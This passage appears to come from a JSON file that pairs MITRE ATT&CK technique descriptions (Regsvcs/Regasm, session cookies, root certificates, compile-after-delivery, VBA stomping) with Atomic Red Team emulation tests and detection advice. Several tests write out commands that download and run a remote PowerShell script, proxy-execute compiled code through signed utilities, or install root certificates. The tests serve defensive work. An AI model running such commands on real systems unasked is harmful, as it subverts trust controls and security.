"mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Logon Session: Logon Session Creation", - "User Account: User Account Authentication", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1218.009": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", - "type": "attack-pattern", - "created": "2020-01-23T19:42:16.439Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.009", - "url": "https://attack.mitre.org/techniques/T1218/009" - }, - { - "source_name": "MSDN Regsvcs", - "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx" - }, - { - "source_name": "MSDN Regasm", - "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" - }, - { - "source_name": "LOLBAS Regsvcs", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", - "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019." - }, - { - "source_name": "LOLBAS Regasm", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", - "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019." - } - ], - "modified": "2022-03-11T18:55:48.725Z", - "name": "Signed Binary Proxy Execution: Regsvcs/Regasm", - "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Application control" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1218.009" - }, - "atomic_tests": [ - { - "name": "Regasm Uninstall Method Call Test", - "auto_generated_guid": "71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112", - "description": "Executes the Uninstall Method, No Admin Rights Required. Upon execution, \"I shouldn't really execute either.\" will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "output_file": { - "description": "Location of the payload", - "type": "path", - "default": "%tmp%\\T1218.009.dll" - }, - "source_file": { - "description": "Location of the CSharp source_file", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The CSharp source file must exist on disk at specified location (#{source_file})\n", - "prereq_command": "if (Test-Path #{source_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"#{source_file}\"\n" - } - ], - "executor": { - "command": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /out:\"#{output_file}\" /target:library #{source_file}\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U #{output_file}\n", - "cleanup_command": "del #{output_file} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Regsvcs Uninstall Method Call Test", - "auto_generated_guid": "fd3c1c6a-02d2-4b72-82d9-71c527abb126", - "description": "Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, \"I shouldn't really execute\" will be displayed\nalong with other information about the assembly being installed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "output_file": { - "description": "Location of the payload", - "type": "path", - "default": "$Env:TEMP\\T1218.009.dll" - }, - "source_file": { - "description": "Location of the CSharp source_file", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The CSharp source file must exist on disk at specified location (#{source_file})\n", - "prereq_command": "if (Test-Path #{source_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"#{source_file}\"\n" - } - ], - "executor": { - "command": "$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='\n$Content = [System.Convert]::FromBase64String($key)\nSet-Content $env:Temp\\key.snk -Value $Content -Encoding Byte\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /out:\"#{output_file}\" /target:library /keyfile:$env:Temp\\key.snk #{source_file}\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe #{output_file}\n", - "cleanup_command": "Remove-Item #{output_file} -ErrorAction Ignore | Out-Null\n$parentpath = Split-Path -Path \"#{output_file}\"\nRemove-Item $parentpath\\key.snk -ErrorAction Ignore | Out-Null\nRemove-Item $parentpath\\T1218.009.tlb -ErrorAction Ignore | Out-Null\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1506": { - "technique": { - "x_mitre_platforms": [ - "Office 365", - "SaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Johann Rehberger" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", - "type": "attack-pattern", - "created": "2019-10-08T20:08:56.205Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1506", - "url": "https://attack.mitre.org/techniques/T1506" - }, - { - "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", - "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html", - "source_name": "Pass The Cookie" - }, - { - "source_name": "Unit 42 Mac Crypto Cookies January 2019", - "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", - "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." - } - ], - "modified": "2020-12-17T16:57:07.529Z", - "name": "Web Session Cookie", - "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Logon Credentials", - "Multi-Factor Authentication" - ] - }, - "atomic_tests": [] - }, - "T1553.004": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matt Graeber, @mattifestation, SpecterOps", - "Red Canary", - "Travis Smith, Tripwire", - "Itzik Kotler, SafeBreach" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", - "type": "attack-pattern", - "created": "2020-02-21T21:05:32.844Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1553.004", - "url": "https://attack.mitre.org/techniques/T1553/004" - }, - { - "external_id": "CAPEC-479", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/479.html" - }, - { - "url": "https://en.wikipedia.org/wiki/Root_certificate", - "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", - "source_name": "Wikipedia Root Certificate" - }, - { - "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", - "source_name": "Operation Emmental" - }, - { - "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", - "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", - "source_name": "Kaspersky Superfish" - }, - { - "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", - "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", - "source_name": "SpectorOps Code Signing Dec 2017" - }, - { - "url": "https://objective-see.com/blog/blog_0x26.html", - "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", - "source_name": "objective-see ay mami 2018" - }, - { - "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck", - "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", - "source_name": "Microsoft Sigcheck May 2017" - }, - { - "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", - "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", - "source_name": "Tripwire AppUNBlocker" - } - ], - "modified": "2021-08-25T19:39:07.001Z", - "name": "Subvert Trust Controls: Install Root Certificate", - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Creation", - "Process: Process Creation", - "Command: Command Execution", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1553.004" - }, - "atomic_tests": [ - { - "name": "Install root CA on Windows", - "auto_generated_guid": "76f49d86-5eb1-461a-a032-a480f86652f1", - "description": "Creates a root CA with Powershell\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "pfx_path": { - "description": "Path of the certificate", - "type": "path", - "default": "rootCA.cer" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Verify the certificate exists. It generates if not on disk.\n", - "prereq_command": "if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n" - } - ], - "executor": { - "command": "$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nMove-Item -Path $cert.PSPath -Destination \"Cert:\\LocalMachine\\Root\"\n", - "cleanup_command": "try {\n $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n}\ncatch { }\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Install root CA on Windows with certutil", - "auto_generated_guid": "5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f", - "description": "Creates a root CA with certutil\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "pfx_path": { - "description": "Path of the certificate", - "type": "path", - "default": "$env:Temp\\rootCA2.cer" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Certificate must exist at specified location (#{pfx_path})\n", - "prereq_command": "if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n" - } - ], - "executor": { - "command": "certutil -addstore my #{pfx_path}\n", - "cleanup_command": "try {\n$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\nGet-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n} catch { }\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Add Root Certificate to CurrentUser Certificate Store", - "auto_generated_guid": "ca20a3f1-42b5-4e21-ad3f-1049199ec2e0", - "description": "The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.\nKeys will look like - \\SystemCertificates\\CA\\Certificates or \\SystemCertificates\\Root\\Certificates\nReference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n", - "cleanup_command": "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1027.004": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Praetorian", - "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", - "type": "attack-pattern", - "created": "2020-03-16T15:30:57.711Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1027.004", - "url": "https://attack.mitre.org/techniques/T1027/004" - }, - { - "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", - "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", - "source_name": "ClearSky MuddyWater Nov 2018" - }, - { - "source_name": "TrendMicro WindowsAppMac", - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", - "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019." - } - ], - "modified": "2020-03-29T20:59:32.293Z", - "name": "Obfuscated Files or Information: Compile After Delivery", - "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Creation", - "Command: Command Execution", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Signature-based detection", - "Host intrusion prevention systems", - "Anti-virus", - "Binary Analysis", - "Static File Analysis" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_system_requirements": [ - "Compiler software (either native to the system or delivered by the adversary)" - ], - "identifier": "T1027.004" - }, - "atomic_tests": [ - { - "name": "Compile After Delivery using csc.exe", - "auto_generated_guid": "ffcdbd6a-b0e8-487d-927a-09127fe9a206", - "description": "Compile C# code using csc.exe binary used by .NET\nUpon execution an exe named T1027.004.exe will be placed in the temp folder\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "output_file": { - "description": "Output compiled binary", - "type": "path", - "default": "C:\\Windows\\Temp\\T1027.004.exe" - }, - "input_file": { - "description": "C# code that launches calc.exe from a hidden cmd.exe Window", - "type": "path", - "default": "PathToAtomicsFolder\\T1027.004\\src\\calc.cs" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "C# file must exist on disk at specified location (#{input_file})\n", - "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs\" -OutFile \"#{input_file}\"\n" - } - ], - "executor": { - "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:#{output_file} #{input_file}\n", - "cleanup_command": "del #{output_file} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Dynamic C# Compile", - "auto_generated_guid": "453614d8-3ba6-4147-acc0-7ec4b3e1faef", - "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is containted in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_file": { - "description": "exe program containing dynamically compiled C# code", - "type": "path", - "default": "PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "exe file must exist on disk at specified location (#{input_file})\n", - "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe -OutFile #{input_file}\n" - } - ], - "executor": { - "command": "Invoke-Expression #{input_file}\n", - "name": "powershell" - } - } - ] - }, - "T1564.007": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Rick Cole, Mandiant" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", - "type": "attack-pattern", - "created": "2020-09-17T12:51:40.845Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.007", - "url": "https://attack.mitre.org/techniques/T1564/007" - }, - { - "source_name": "FireEye VBA stomp Feb 2020", - "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html", - "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020." - }, - { - "source_name": "Evil Clippy May 2019", - "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/", - "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020." - }, - { - "source_name": "Microsoft _VBA_PROJECT Stream", - "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239", - "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020." - }, - { - "source_name": "Walmart Roberts Oct 2018", - "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278", - "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020." - }, - { - "source_name": "pcodedmp Bontchev", - "url": "https://github.com/bontchev/pcodedmp", - "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020." - }, - { - "source_name": "oletools toolkit", - "url": "https://github.com/decalage2/oletools", - "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020." - } - ], - "modified": "2021-10-15T14:02:07.944Z", - "name": "VBA Stomping", - "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": 